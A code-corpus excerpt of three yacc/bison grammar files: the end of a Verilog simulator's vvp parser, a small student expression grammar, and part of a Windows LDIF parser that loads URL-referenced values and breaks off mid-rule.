| T_LABEL K_PARAM_L T_STRING T_NUMBER T_NUMBER',' T_SYMBOL ';'
{ compile_param_logic($1, $3, $7, false, $4, $5); }
| T_LABEL K_PARAM_L T_STRING T_NUMBER T_NUMBER',' '+' T_SYMBOL ';'
{ compile_param_logic($1, $3, $8, true, $4, $5); }
| T_LABEL K_PARAM_REAL T_STRING T_NUMBER T_NUMBER',' T_SYMBOL ';'
{ compile_param_real($1, $3, $7, $4, $5); }
/* Islands */
| T_LABEL K_ISLAND T_SYMBOL ';'
{ compile_island($1, $3); }
| T_LABEL K_PORT T_SYMBOL ',' T_SYMBOL ';'
{ compile_island_port($1, $3, $5); }
| T_LABEL K_IMPORT T_SYMBOL ',' T_SYMBOL ';'
{ compile_island_import($1, $3, $5); }
| T_LABEL K_EXPORT T_SYMBOL ';'
{ compile_island_export($1, $3); }
| K_TRAN T_SYMBOL ',' T_SYMBOL T_SYMBOL ';'
{ compile_island_tranif(0, $2, $4, $5, 0); }
| K_TRANIF0 T_SYMBOL ',' T_SYMBOL T_SYMBOL ',' T_SYMBOL ';'
{ compile_island_tranif(0, $2, $4, $5, $7); }
| K_TRANIF1 T_SYMBOL ',' T_SYMBOL T_SYMBOL ',' T_SYMBOL ';'
{ compile_island_tranif(1, $2, $4, $5, $7); }
| K_TRANVP T_NUMBER T_NUMBER T_NUMBER ',' T_SYMBOL ',' T_SYMBOL T_SYMBOL ';'
{ compile_island_tranvp($6, $8, $9, $2, $3, $4); }
/* Oh and by the way, empty statements are OK as well. */
| ';'
;
local_flag
: '*' { $$ = true; }
| { $$ = false; }
;
/* There are a few places where the label is optional. This rule
returns the label value if present, or 0 if not. */
label_opt
: T_LABEL { $$ = $1; }
| { $$ = 0; }
;
operands_opt
: operands { $$ = $1; }
| { $$ = 0; }
;
operands
: operands ',' operand
{ comp_operands_t opa = $1;
assert(opa->argc < 3);
assert($3->argc == 1);
opa->argv[opa->argc] = $3->argv[0];
opa->argc += 1;
free($3);
$$ = opa;
}
| operand
{ $$ = $1; }
;
operand
: symbol
{ comp_operands_t opa = (comp_operands_t)
calloc(1, sizeof(struct comp_operands_s));
opa->argc = 1;
opa->argv[0].ltype = L_SYMB;
opa->argv[0].symb = $1;
$$ = opa;
}
| T_NUMBER
{ comp_operands_t opa = (comp_operands_t)
calloc(1, sizeof(struct comp_operands_s));
opa->argc = 1;
opa->argv[0].ltype = L_NUMB;
opa->argv[0].numb = $1;
$$ = opa;
}
;
/* The argument_list is a list of vpiHandle objects that can be
passed to a %vpi_call statement (and hence built into a
vpiCallSysTask handle). We build up an arbitrary sized list with
the struct argv_s type.
Each argument of the call is represented as a vpiHandle
object. If the argument is a symbol, the symbol name will be
kept, until the argument_list is complete. Then, all symbol
lookups will be attempted. Postponed lookups will point into the
resulting $$->argv.
If it is some other supported object, the necessary
vpiHandle object is created to support it. */
argument_opt
: ',' argument_list
{
argv_sym_lookup(&$2);
$$ = $2;
}
| /* empty */
{ struct argv_s tmp;
argv_init(&tmp);
$$ = tmp;
}
;
argument_list
: argument
{ struct argv_s tmp;
argv_init(&tmp);
argv_add(&tmp, $1);
$$ = tmp;
}
| argument_list ',' argument
{ struct argv_s tmp = $1;
argv_add(&tmp, $3);
$$ = tmp;
}
| T_SYMBOL
{ struct argv_s tmp;
argv_init(&tmp);
argv_sym_add(&tmp, $1);
$$ = tmp;
}
| argument_list ',' T_SYMBOL
{ struct argv_s tmp = $1;
argv_sym_add(&tmp, $3);
$$ = tmp;
}
;
argument
: T_STRING
{ $$ = vpip_make_string_const($1); }
| T_VECTOR
{ $$ = vpip_make_binary_const($1.idx, $1.text);
free($1.text);
}
| symbol_access
{ $$ = $1; }
;
symbol_access
: K_A '<' T_SYMBOL ',' T_NUMBER '>'
{ $$ = vpip_make_vthr_A($3, $5); }
| K_A '<' T_SYMBOL ',' T_NUMBER T_NUMBER '>'
{ $$ = vpip_make_vthr_A($3, $5, $6); }
| K_A '<' T_SYMBOL ',' T_SYMBOL '>'
{ $$ = vpip_make_vthr_A($3, $5); }
| K_A '<' T_SYMBOL ',' symbol_access '>'
{ $$ = vpip_make_vthr_A($3, $5); }
| K_PV '<' T_SYMBOL ',' T_NUMBER ',' T_NUMBER '>'
{ $$ = vpip_make_PV($3, $5, $7); }
| K_PV '<' T_SYMBOL ',' '-' T_NUMBER ',' T_NUMBER '>'
{ $$ = vpip_make_PV($3, -$6, $8); }
| K_PV '<' T_SYMBOL ',' T_SYMBOL ',' T_NUMBER '>'
{ $$ = vpip_make_PV($3, $5, $7); }
| K_PV '<' T_SYMBOL ',' symbol_access ',' T_NUMBER '>'
{ $$ = vpip_make_PV($3, $5, $7); }
| K_PV '<' T_SYMBOL ',' T_NUMBER T_NUMBER ',' T_NUMBER '>'
{ $$ = vpip_make_PV($3, $5, $6, $8); }
;
/* functor operands can only be a list of symbols. */
symbols
: symbol
{ struct symbv_s obj;
symbv_init(&obj);
symbv_add(&obj, $1);
$$ = obj;
}
| symbols ',' symbol
{ struct symbv_s obj = $1;
symbv_add(&obj, $3);
$$ = obj;
}
;
numbers
: T_NUMBER
{ struct numbv_s obj;
numbv_init(&obj);
numbv_add(&obj, $1);
$$ = obj;
}
| numbers ',' T_NUMBER
{ struct numbv_s obj = $1;
numbv_add(&obj, $3);
$$ = obj;
}
;
symbols_net
: symbol_opt
{ struct symbv_s obj;
symbv_init(&obj);
symbv_add(&obj, $1);
$$ = obj;
}
| symbols_net ',' symbol_opt
{ struct symbv_s obj = $1;
symbv_add(&obj, $3);
$$ = obj;
}
;
/* In some cases, simple pointer arithmetic is allowed. In
particular, functor vectors can be indexed with the [] syntax,
with values from 0 up. */
symbol
: T_SYMBOL
{ $$.text = $1;
$$.idx = 0;
}
;
symbol_opt
: symbol
{ $$ = $1; }
|
{ $$.text = 0;
$$.idx = 0;
}
;
/* This rule is invoked within the rule for a modpath statement. The
beginning of that run has already created the modpath dst object
and saved it in the modpath_dst variable. The modpath_src rule,
then simply needs to attach the items it creates. */
modpath_src_list
: modpath_src
| modpath_src_list ',' modpath_src
;
modpath_src
: symbol '(' numbers ')' symbol
{ compile_modpath_src(modpath_dst, 0, $1, $3, 0, $5, false); }
| symbol '(' numbers '?' ')' symbol
{ compile_modpath_src(modpath_dst, 0, $1, $3, 0, $6, true); }
| symbol '(' numbers '?' symbol ')' symbol
{ compile_modpath_src(modpath_dst, 0, $1, $3, $5, $7); }
| symbol '+' '(' numbers ')' symbol
{ compile_modpath_src(modpath_dst, '+', $1, $4, 0, $6, false); }
| symbol '+' '(' numbers '?' ')' symbol
{ compile_modpath_src(modpath_dst, '+', $1, $4, 0, $7, true); }
| symbol '+' '(' numbers '?' symbol ')' symbol
{ compile_modpath_src(modpath_dst, '+', $1, $4, $6, $8); }
| symbol '-' '(' numbers ')' symbol
{ compile_modpath_src(modpath_dst, '-', $1, $4, 0, $6, false); }
| symbol '-' '(' numbers '?' ')' symbol
{ compile_modpath_src(modpath_dst, '-', $1, $4, 0, $7, true); }
| symbol '-' '(' numbers '?' symbol ')' symbol
{ compile_modpath_src(modpath_dst, '-', $1, $4, $6, $8); }
;
udp_table
: T_STRING
{ $$ = compile_udp_table(0x0, $1); }
| udp_table ',' T_STRING
{ $$ = compile_udp_table($1, $3); }
;
signed_t_number
: T_NUMBER { $$ = $1; }
| '-' T_NUMBER { $$ = -$2; }
;
delay_opt : delay { $$=$1; } | /* empty */ { $$=0; } ;
delay
: '(' T_NUMBER ')'
{ $$ = new vvp_delay_t($2, $2); }
| '(' T_NUMBER ',' T_NUMBER ')'
{ $$ = new vvp_delay_t($2, $4); }
| '(' T_NUMBER ',' T_NUMBER ',' T_NUMBER ')'
{ $$ = new vvp_delay_t($2, $4, $6); }
;
%%
int compile_design(const char*path)
{
yypath = path;
yyline = 1;
yyin = fopen(path, "r");
if (yyin == 0) {
fprintf(stderr, "%s: Unable to open input file.\n", path);
return -1;
}
int rc = yyparse();
fclose(yyin);
return rc;
}
|
<filename>compilers/cminus/lab6/exp.y
%{
#include <stdio.h>
#include <stdlib.h>
#include "ast.h"
int yylex(void); // this function will be called in the parser
void yyerror(char *);
Exp_t tree;
%}
%union{
Exp_t exp;
}
%type <exp> digit exp program
%left '+' '-'
%left '*' '/'
%start program
%%
program: exp {tree = $1;}
;
exp: digit {$$ = $1;}
| exp '+' exp {$$ = Exp_Add_new ($1, $3);}
| exp '-' exp {$$ = Exp_Minus_new ($1, $3);}
| exp '*' exp {$$ = Exp_Times_new ($1, $3);}
| exp '/' exp {$$ = Exp_Divide_new ($1, $3);}
| '(' exp ')' {$$ = $2;}
;
digit: '0' {$$ = Exp_Int_new (0);}
| '1' {$$ = Exp_Int_new (1);}
| '2' {$$ = Exp_Int_new (2);}
| '3' {$$ = Exp_Int_new (3);}
| '4' {$$ = Exp_Int_new (4);}
| '5' {$$ = Exp_Int_new (5);}
| '6' {$$ = Exp_Int_new (6);}
| '7' {$$ = Exp_Int_new (7);}
| '8' {$$ = Exp_Int_new (8);}
| '9' {$$ = Exp_Int_new (9);}
;
%%
int yylex (void)
{
int c = getchar();
return c;
}
// bison needs this function to report
// error message
void yyerror(char *err)
{
printf(">> ");
return;
}
|
<reponame>npocmaka/Windows-Server-2003
%{
/*++
Copyright (c) 1997 Microsoft Corporation.
All rights reserved.
MODULE NAME:
ldif.y
ABSTRACT:
The yacc grammar for LDIF.
DETAILS:
To generate the sources for lexer.c and parser.c,
run nmake -f makefile.parse.
CREATED:
07/17/97 <NAME> (t-romany)
REVISION HISTORY:
--*/
#include <precomp.h>
#include <urlmon.h>
#include <io.h>
//
// I really don't want to do another linked list contraption for mod_specs,
// expecially considering that we don't need to do any preprocessing other than
// combine them into an LDAPmod**. So I am going to use realloc.
//
#define CHUNK 100
LDAPModW **g_ppModSpec = NULL;
LDAPModW **g_ppModSpecNext = NULL;
long g_cModSpecUsedup = 0; // how many we have used up
size_t g_nModSpecSize = 0; // how big the buffer is
long g_cModSpec = 0; // no. of mod spec allocated
DEFINE_FEATURE_FLAGS(Parser, 0);
#define DBGPRNT(x) FEATURE_DEBUG(Parser,FLAG_FNTRACE,(x))
#define YYDEBUG 0
%}
%union {
int num;
PWSTR wstr;
LDAPModW *mod;
struct change_list *change;
}
%token SEP MULTI_SEP MULTI_SPACE CHANGE
%token VERSION DNCOLON DNDCOLON LINEWRAP NEWRDNDCOLON
%token MODESWITCH SINGLECOLON DOUBLECOLON URLCOLON FILESCHEME
%token T_CHANGETYPE NEWRDNCOLON DELETEOLDRDN
%token NEWSUPERIORC NEWSUPERIORDC ADDC MINUS SEPBYMINUS
%token DELETEC REPLACEC STRING SEPBYCHANGE
%token <wstr> NAME VALUE BASE64STRING MACHINENAME NAMENC
%token <num> DIGITS ADD MODIFY MODDN MODRDN MYDELETE NTDSADD NTDSMODIFY NTDSMODRDN NTDSMYDELETE NTDSMODDN
%type <mod> attrval_spec mod_add_spec mod_delete_spec mod_spec
%type <mod> mod_replace_spec
%type <wstr> newrdncolon newrdndcolon new_superior
%type <change> change_add change_modify changerecord chdn_normal
%type <change> change_moddn change_delete
%type <num> deleteoldrdn maybe_attrval_spec_list
%type <change> change_moddn
%type <num> add_token modify_token delete_token modrdn_token moddn_token moddn modrdn
%type <wstr> dn base64_dn dn_spec
%%
ldif_file: ldif_content { DBGPRNT("ldif_Content\n"); }
| ldif_changes { DBGPRNT("ldif_Changes\n"); }
;
ldif_content: version_spec any_sep ldif_record_list
{
DBGPRNT("ldif_record_list\n");
}
| version_spec any_sep version_spec any_sep ldif_record_list
{
DBGPRNT("v/ldif_record_list\n");
}
| ldif_record_list
{
DBGPRNT("ldif_record_list\n");
}
;
ldif_changes: version_spec any_sep ldif_change_record_list
{
DBGPRNT("ldif_change_record_list\n");
}
| version_spec any_sep version_spec any_sep ldif_change_record_list
{
DBGPRNT("v/ldif_change_record_list\n");
}
| ldif_change_record_list
{
DBGPRNT("ldif_change_record_list\n");
}
;
version_spec: M_type VERSION M_normal any_space version_number
{
RuleLastBig=R_VERSION;
RuleExpect=RE_REC_OR_CHANGE;
TokenExpect=RT_DN;
DBGPRNT("Version spec\n");
}
;
version_number: M_digitread DIGITS M_normal
{
RuleLast=RS_VERNUM;
RuleExpect=RE_REC_OR_CHANGE;
TokenExpect=RT_DN;
DBGPRNT("Version number\n");
}
;
//
// Important note about the two rules below: I am using MULTI_SEP (two or more
// newlines) to separate entries because each attrval_spec and changerecord has
// a SEP at its end in the spec, and each ldif_record and ldif_changerecord has
// a SEP before it begins. Another reason is that if only one SEP separated
// different entries, it would gramatically difficult to tell the beginning of a
// new record.
//
ldif_record_list: ldif_record
| ldif_record_list MULTI_SEP ldif_record
;
ldif_change_record_list: ldif_change_record
| ldif_change_record_list MULTI_SEP ldif_change_record
;
ldif_record: dn_spec SEP attrval_spec_list
{
//
// first action here is to take the linked list of
// attributes that was built up in attrval_spec_list
// and turn it into an LDAPModW **mods array.
// Everything having to do with the
// attrval_spec_list that is not necessary for the
// new array will be either destroyed or cleared
//
g_pObject.ppMod = GenerateModFromList(PACK);
SetModOps(g_pObject.ppMod,
LDAP_MOD_ADD);
//
// now assign the dn
//
g_pObject.pszDN = $1;
DBGPRNT("\nldif_record\n");
RuleLastBig=R_REC;
RuleExpect=RE_REC;
TokenExpect=RT_DN;
if (FileType==F_NONE) {
FileType = F_REC;
}
else if (FileType==F_CHANGE) {
RaiseException(LL_FTYPE, 0, 0, NULL);
}
return LDIF_REC;
}
;
ldif_change_record: dn_spec SEPBYCHANGE changerecord_list
{
//
// By the time we've parsed to here we've got a dn
// and a changes_list pointed to by changes_start.
// We're going to return to the caller the fact that
// what we're gving back is a changes list and not
// the regular g_pObject.ppMod. The client is
// responsible for walking down the list
// start_changes, using it, and, freeing the memory
//
g_pObject.pszDN = $1;
DBGPRNT("\nldif_change_record\n");
RuleLastBig = R_CHANGE;
RuleExpect = RE_CHANGE;
TokenExpect = RT_DN;
if (FileType == F_NONE) {
FileType = F_CHANGE;
}
else if (FileType == F_REC) {
RaiseException(LL_FTYPE, 0, 0, NULL);
}
return LDIF_CHANGE;
}
;
dn_spec: M_type DNCOLON M_normal any_space dn
{
$$ = $5;
RuleLastBig=R_DN;
RuleExpect=RE_ENTRY;
TokenExpect=RT_ATTR_OR_CHANGE;
}
| M_type DNDCOLON M_normal any_space base64_dn
{
$$ = $5;
RuleLastBig=R_DN;
RuleExpect=RE_ENTRY;
TokenExpect=RT_ATTR_OR_CHANGE;
}
| M_type DNCOLON M_normal
{
$$ = NULL;
RuleLastBig=R_DN;
RuleExpect=RE_ENTRY;
TokenExpect=RT_ATTR_OR_CHANGE;
}
;
//
// Note: By the fact that I am using sep in the rule below (which is either SEP
// or SEPBYCHANGE I imply that no changetype can appear after a change: add in
// an LDIF change record
//
attrval_spec_list: attrval_spec
{
RuleLastBig=R_AVS;
RuleExpect=RE_AVS_OR_END;
TokenExpect=RT_ATTR_MIN_SEP;
AddModToSpecList($1);
}
| attrval_spec_list sep attrval_spec
{
RuleLastBig=R_AVS;
RuleExpect=RE_AVS_OR_END;
TokenExpect=RT_ATTR_MIN_SEP;
AddModToSpecList($3);
}
;
changerecord_list: changerecord
{
ChangeListAdd($1);
}
| changerecord_list SEPBYCHANGE changerecord
{
ChangeListAdd($3);
}
;
attrval_spec: M_name_read NAME M_type SINGLECOLON
M_normal any_space M_safeval VALUE M_normal
{
//
// What we're doing below is creating the attribute
// with the specified value and then freeing the
// strings we used.
//
$$ = GenereateModFromAttr($2, (PBYTE)$8, -1);
MemFree($2);
}
| M_name_read NAME M_type DOUBLECOLON M_normal
any_space M_string64 BASE64STRING M_normal
{
long decoded_size;
PBYTE decoded_buffer;
//
// Take the steps required to decode the data
//
if(!(decoded_buffer=base64decode($8,
&decoded_size))) {
//
// Actually, the only way base64decode will return
// with NULL is if it runs into a memory issue.
// (which would generate an exception... Well, you
// know the story by now if you've read the other
// source files. (i.e. ldifldap.c)
//
DBGPRNT("Error decoding Base64 value");
}
//
// make the attrbiute
//
$$ = GenereateModFromAttr($2, decoded_buffer, decoded_size);
MemFree($8);
MemFree($2);
}
| M_name_read NAME M_type URLCOLON
M_normal any_space M_safeval VALUE M_normal
{
long fileSize;
PBYTE readData;
size_t chars_read;
DBGPRNT("\nNote: The access mechanism for URLS is very simple.\n");
DBGPRNT("If rload is not responding, the URL\nmay be invalid.");
DBGPRNT(" Ctrl-C, check your URL and try again.\n\n");
//
// Reading the URL should prove to be a mean trick
//
if (!(S_OK==URLDownloadToFileW(NULL,
$8,
g_szTempUrlfilename,
0,
NULL))) {
DBGPRNT("URL read failed\n");
RaiseException(LL_URL, 0, 0, NULL);
}
//
// We now have a filename. There is data in it.
// let us use this data
//
if( (g_pFileUrlTemp =
_wfopen( g_szTempUrlfilename, L"rb" ))== NULL ) {
RaiseException(LL_URL, 0, 0, NULL);
}
//
// get file size
//
if( (fileSize = _filelength(_fileno(g_pFileUrlTemp))) == -1)
{
DBGPRNT("filelength OR fileno failed");
RaiseException(LL_URL, 0, 0, NULL);
}
readData = MemAlloc_E(fileSize*sizeof(BYTE));
//
// read it all in
//
chars_read=fread(readData,
1,
fileSize,
g_pFileUrlTemp);
//
// For some reason, _filelength returns one
// character more than fread wants to read. Perhaps
// its the EOF character. However, it seems that if
// there is no EOF character, all the bytes are
// read.
if ( (long)chars_read+1 < fileSize) {
DBGPRNT("Didn't read in all data in file.");
RaiseException(LL_URL, 0, 0, NULL);
}
if (!feof(g_pFileUrlTemp)&&ferror(g_pFileUrlTemp)) {
DBGPRNT("EOF NOT reached. Error on stream.");
RaiseException(LL_URL, 0, 0, NULL);
}
//
// Well, if an fclose fails, all is lost anyway,
// so forget it.
//
fclose(g_pFileUrlTemp);
g_pFileUrlTemp = NULL;
$$ = GenereateModFromAttr($2, readData, fileSize);
//
// Note: It appears that newlines in the source file
// appear as '|'s when viewed by ldp
//
//
// Again, note that we're not freeing readData
// because it was used when making the attribute
//
//
// free the memory we used in allocating for the
// tokens
//
MemFree($2);
MemFree($8);
}
| M_name_read NAME M_type SINGLECOLON M_normal
{
//
// If the value is empty, just pass a null string
// Unforutnately, LDAP doesn't beleive in these, so
// its kindof pointless
//
$$ = GenereateModFromAttr($2, (PBYTE)L"", -1);
MemFree($2);
}
;
//
// NOTE: The rules below exist simply to switch the lexer into the appropriate
// mode
//
M_name_read: MODESWITCH
{
DBGPRNT(("PARSER: Switching lexer to ATTRNAME read.\n"));
Mode = C_ATTRNAME;
}
;
M_name_readnc: MODESWITCH
{
DBGPRNT("PARSER: Switching lexer to ATTRNAMENC read.\n");
Mode = C_ATTRNAMENC;
}
;
M_safeval: MODESWITCH
{
DBGPRNT("PARSER: Switching lexer to SAFEVALUE read.\n");
Mode = C_SAFEVAL;
}
;
M_normal: MODESWITCH
{
DBGPRNT("PARSER: Switching lexer to NORMAL mode.\n");
Mode = C_NORMAL;
}
;
M_string64: MODESWITCH
{
DBGPRNT("PARSER: Switching lexer to STRING64 mode.\n");
Mode = C_M_STRING64;
}
;
M_digitread: MODESWITCH
{
DBGPRNT("PARSER: Switching lexer to DIGITREAD mode.\n");
Mode = C_DIGITREAD;
}
;
M_type: MODESWITCH
{
DBGPRNT("PARSER: Switching lexer to TYPE mode.\n");
Mode = C_TYPE;
}
;
M_changetype: MODESWITCH
{
DBGPRNT("PARSER: Switching lexer to CHANGETYPE mode.\n");
Mode = C_CHANGETYPE;
}
;
add_token: ADD { $$=$1; }
| NTDSADD { $$=$1; }
;
delete_token: MYDELETE { $$=$1; }
| NTDSMYDELETE { $$=$1; }
;
modify_token: MODIFY { $$=$1; }
| NTDSMODIFY { $$=$1; }
;
modrdn_token: MODRDN { $$=$1; }
| NTDSMODRDN { $$=$1; }
;
moddn_token: MODDN { $$=$1; }
| NTDSMODDN { $$=$1; }
;
changerecord: change_add { $$=$1; }
| change_delete { $$=$1; }
| change_modify { $$=$1; }
| change_moddn { $$=$1; }
;
change_add: M_changetype T_CHANGETYPE M_normal
any_space M_type add_token M_normal sep attrval_spec_list
{
//
// make the change_list node we'll use
//
$$=(struct change_list *)
MemAlloc_E(sizeof(struct change_list));
//
// set the mods member of the stuff union inside the node to
// the attrval list we've built
//
// DBGPRNT(("change_add is now equal to %x\n", $$));
$$->mods_mem=GenerateModFromList(PACK);
//
// now set the mod_op fields in the mods. This isn't really
// necessary in this case, but I am doing it to be
// consistent
//
SetModOps($$->mods_mem, LDAP_MOD_ADD);
//
// set the operation inside the node to indicate to the
// client what we are doing
//
if ($6 == 0) {
$$->operation=CHANGE_ADD;
}
else {
$$->operation=CHANGE_NTDSADD;
}
//
// note that we are not setting the next field, as it will
// be set by the function that builds up the changes list.
//
DBGPRNT("parsed a change add\n");
RuleLastBig=R_C_ADD;
RuleExpect=RE_CHANGE;
TokenExpect=RT_DN;
}
| M_changetype T_CHANGETYPE M_normal
any_space M_type add_token M_normal
{
//
// make the change_list node we'll use
//
$$=(struct change_list *)
MemAlloc_E(sizeof(struct change_list));
$$->mods_mem=GenerateModFromList(EMPTY);
//
// now set the mod_op fields in the mods. This isn't really
// necessary in this case, but I am doing it to be
// consistent
//
SetModOps($$->mods_mem, LDAP_MOD_ADD);
//
// set the operation inside the node to indicate to the
// client what we are doing
//
if ($6 == 0) {
$$->operation=CHANGE_ADD;
}
else {
$$->operation=CHANGE_NTDSADD;
}
//
// note that we are not setting the next field, as it will
// be set by the function that builds up the changes list.
//
DBGPRNT("parsed a change add\n");
RuleLastBig=R_C_ADD;
RuleExpect=RE_CHANGE;
TokenExpect=RT_DN;
}
;
change_delete: M_changetype T_CHANGETYPE M_normal any_space
M_type delete_token M_normal
{
//
// make the change_list node we'll use
//
$$ = (struct change_list *)
MemAlloc_E(sizeof(struct change_list));
if ($6 == 0) {
$$->operation=CHANGE_DEL;
}
else {
$$->operation=CHANGE_NTDSDEL;
}
RuleLastBig=R_C_DEL;
RuleExpect=RE_CH_OR_NEXT;
TokenExpect=RT_CH_OR_SEP;
}
;
change_moddn: chdn_normal
{
$$ = $1;
RuleLastBig=R_C_DN;
RuleExpect=RE_CH_OR_NEXT;
TokenExpect=RT_CH_OR_SEP;
}
| chdn_normal SEP new_superior
{
PWSTR pszTemp = NULL;
//
// now the way I interpreted the spec and the LDAP API is
// that when the new superior is specified, it should be
// appended to the rdn to create an entire DN.
//
pszTemp=(PWSTR)MemAlloc_E((wcslen($1->dn_mem)
+wcslen($3)+10)*sizeof(WCHAR));
swprintf(pszTemp, L"%s, %s", $1->dn_mem, $3);
MemFree($1->dn_mem);
MemFree($3);
$1->dn_mem=pszTemp;
$$=$1;
RuleLastBig=R_C_NEWSUP;
RuleExpect=RE_CH_OR_NEXT;
TokenExpect=RT_CH_OR_SEP;
}
;
//
// Now that I think about it, the way this bit is structured didn't work out so
// well, considering that I have to repeat the same exact code 4 times. However,
// thats sometimes the price for using yacc...(And there is no quick way I can
// think of now to fix it) The problem is that there are two values now that
// need to be used. and I can't hold off on them till the higher level in the
// grammar.
//
chdn_normal: modrdn SEP newrdncolon SEP deleteoldrdn
{
$$=(struct change_list *)
MemAlloc_E(sizeof(struct change_list));
if ($1 == 0) {
$$->operation=CHANGE_DN;
}
else {
$$->operation=CHANGE_NTDSDN;
}
$$->deleteold=$5;
$$->dn_mem=$3;
}
| moddn SEP newrdncolon SEP deleteoldrdn
{
$$=(struct change_list *)
MemAlloc_E(sizeof(struct change_list));
if ($1 == 0) {
$$->operation=CHANGE_DN;
}
else {
$$->operation=CHANGE_NTDSDN;
}
$$->deleteold=$5;
$$->dn_mem=$3;
}
| modrdn SEP newrdndcolon SEP deleteoldrdn
{
$$=(struct change_list *)
MemAlloc_E(sizeof(struct change_list));
if ($1 == 0) {
$$->operation=CHANGE_DN;
}
else {
$$->operation=CHANGE_NTDSDN;
}
$$->deleteold=$5;
$$->dn_mem=$3;
}
| moddn SEP newrdndcolon SEP deleteoldrdn
{
$$=(struct change_list *)
MemAlloc_E(sizeof(struct change_list));
if ($1 == 0) {
$$->operation=CHANGE_DN;
}
else {
$$->operation=CHANGE_NTDSDN;
}
$$->deleteold=$5;
$$->dn_mem=$3;
}
;
modrdn: M_changetype T_CHANGETYPE M_normal
any_space M_type modrdn_token M_normal
{
$$ = $6;
}
;
moddn: M_changetype T_CHANGETYPE M_normal
any_space M_type moddn_token M_normal
{
$$ = $6;
}
;
newrdncolon: M_type NEWRDNCOLON M_normal any_space dn
{
$$=MemAllocStrW_E($5);
MemFree($5);
}
;
newrdndcolon: M_type NEWRDNDCOLON M_normal any_space base64_dn
{
$$=MemAllocStrW_E($5);
}
;
deleteoldrdn: M_type DELETEOLDRDN M_normal any_space
M_digitread DIGITS M_normal
{
$$=$6;
}
;
new_superior: M_type NEWSUPERIORC M_normal any_space dn {
$$=MemAllocStrW_E($5);
MemFree($5);
}
| M_type NEWSUPERIORDC M_normal any_space base64_dn {
$$=MemAllocStrW_E($5);
}
;
change_modify: M_changetype T_CHANGETYPE M_normal
any_space M_type modify_token M_normal SEP mod_spec_list
{
//
// If there is not enough room for the NULL terminator,
// add it
//
if (g_cModSpecUsedup==CHUNK) {
DBGPRNT("WE don't have enough room for the null terminator. Alloc\n");
//
// We've already used up the last slot in the current
// memory block
//
if ((g_ppModSpec=(LDAPModW**)MemRealloc_E(g_ppModSpec,
g_nModSpecSize+sizeof(LDAPModW *)))==NULL) {
perror("Not enough memory for specs!");
}
g_nModSpecSize=MemSize(g_ppModSpec);
//
// The thing is that our heap may have moved, so we must
// repostion g_ppModSpecNext
//
g_ppModSpecNext=g_ppModSpec;
g_ppModSpecNext=g_ppModSpecNext+(g_cModSpec*CHUNK);
g_cModSpec++;
//
// lets go again
//
g_cModSpecUsedup=0;
}
*g_ppModSpecNext=NULL;
//
// now we have a full LDAPModWs* array with our changes, lets
// make the change node
//
//
// make the change_list node we'll use
//
$$=(struct change_list *)MemAlloc_E(sizeof(struct change_list));
if ($6==0) {
$$->operation=CHANGE_MOD;
}
else {
$$->operation=CHANGE_NTDSMOD;
}
$$->mods_mem=g_ppModSpec;
//
// reset our variables for the next set
//
g_cModSpecUsedup=0;
g_cModSpec=0;
g_ppModSpec=NULL;
g_ppModSpecNext=NULL;
g_nModSpecSize=0;
RuleLastBig=R_C_MOD;
RuleExpect=RE_CH_OR_NEXT;
TokenExpect=RT_CH_OR_SEP;
}
;
mod_spec_list: mod_spec
{
//
// if its the first mod_spec we have, lets allocate the
// first chunk
//
if (g_nModSpecSize==0) {
g_ppModSpec=(LDAPModW **)MemAlloc_E(CHUNK*sizeof(LDAPModW *));
g_nModSpecSize=MemSize(g_ppModSpec);
g_cModSpec++;
g_ppModSpecNext=g_ppModSpec;
}
else if (g_cModSpecUsedup==CHUNK) {
// Specs: %d\n", g_cModSpecUsedup
DBGPRNT("Chunk used up, reallocating.");
//
// We've already used up the last slot in the current
// memory block
//
g_ppModSpec=(LDAPModW **)MemRealloc_E(g_ppModSpec,
g_nModSpecSize+CHUNK*sizeof(LDAPModW *));
g_nModSpecSize=MemSize(g_ppModSpec);
//
// The thing is that our heap may have moved, so we must
// repostion g_ppModSpecNext
//
g_ppModSpecNext=g_ppModSpec;
g_ppModSpecNext=g_ppModSpecNext+(g_cModSpec*CHUNK);
g_cModSpec++;
//
// lets go again
//
g_cModSpecUsedup=0;
}
//
// now that this memory b.s. is over, lets actually assign
// the mod
//
*g_ppModSpecNext=$1;
g_ppModSpecNext++;
g_cModSpecUsedup++;
RuleLastBig=R_C_MODSPEC;
RuleExpect=RE_MODSPEC_END;
TokenExpect=RT_MODBEG_SEP;
}
| mod_spec_list SEP mod_spec
{
//
// if its the first mod_spec we have, lets allocate the
// first chunk
//
if (g_nModSpecSize==0) {
g_ppModSpec=(LDAPModW **)MemAlloc_E(CHUNK*sizeof(LDAPModW *));
g_nModSpecSize=MemSize(g_ppModSpec);
g_cModSpec++;
g_ppModSpecNext=g_ppModSpec;
}
else if (g_cModSpecUsedup==CHUNK) {
//
// Specs: %d\n", g_cModSpecUsedup
//
DBGPRNT("Chunk used up, reallocating.");
//
// We've already used up the last slot in the current
// memory block
//
g_ppModSpec=(LDAPModW **)MemRealloc_E(g_ppModSpec,
g_nModSpecSize+CHUNK*sizeof(LDAPModW *));
g_nModSpecSize=MemSize(g_ppModSpec);
//
// The thing is that our heap may have moved, so we must
// repostion g_ppModSpecNext
//
g_ppModSpecNext=g_ppModSpec;
g_ppModSpecNext=g_ppModSpecNext+(g_cModSpec*CHUNK);
g_cModSpec++;
//
// lets go again
//
g_cModSpecUsedup=0;
}
//
// now that this memory b.s. is over, lets actually assign
// the mod
//
*g_ppModSpecNext=$3;
g_ppModSpecNext++;
g_cModSpecUsedup++;
RuleLastBig=R_C_MODSPEC;
RuleExpect=RE_MODSPEC_END;
TokenExpect=RT_MODBEG_SEP;
}
;
mod_spec: mod_add_spec { $$=$1; }
| mod_delete_spec { $$=$1; }
| mod_replace_spec { $$=$1; }
;
mod_add_spec: M_type ADDC M_normal any_space M_name_readnc NAMENC M_normal
sep attrval_spec_list SEPBYMINUS M_type MINUS M_normal
{
LDAPModW **ppModTmp = NULL;
//
// The attribute value spec list element above is actually
// an LDAPModW** array, whose first element is the the one
// we are looking for. (The second element is null)
//
ppModTmp=GenerateModFromList(PACK);
//
// assign the one we want
//
$$=ppModTmp[0];
if (ppModTmp[1]!=NULL) {
DBGPRNT("WARNING: Extra names in modify add.\n");
//
// note that the character and line number will not be
// correct
//
RaiseException(LL_EXTRA, 0, 0, NULL);
}
//
// remember that it may haven't berval'd
//
$$->mod_op=($$->mod_op)|LDAP_MOD_ADD;
//
// This is really kindof pointless, since the name has
// already been set by a properly written modify, but we
// should follow the spec
//
MemFree($$->mod_type);
$$->mod_type= MemAllocStrW_E($6);
MemFree($6);
//
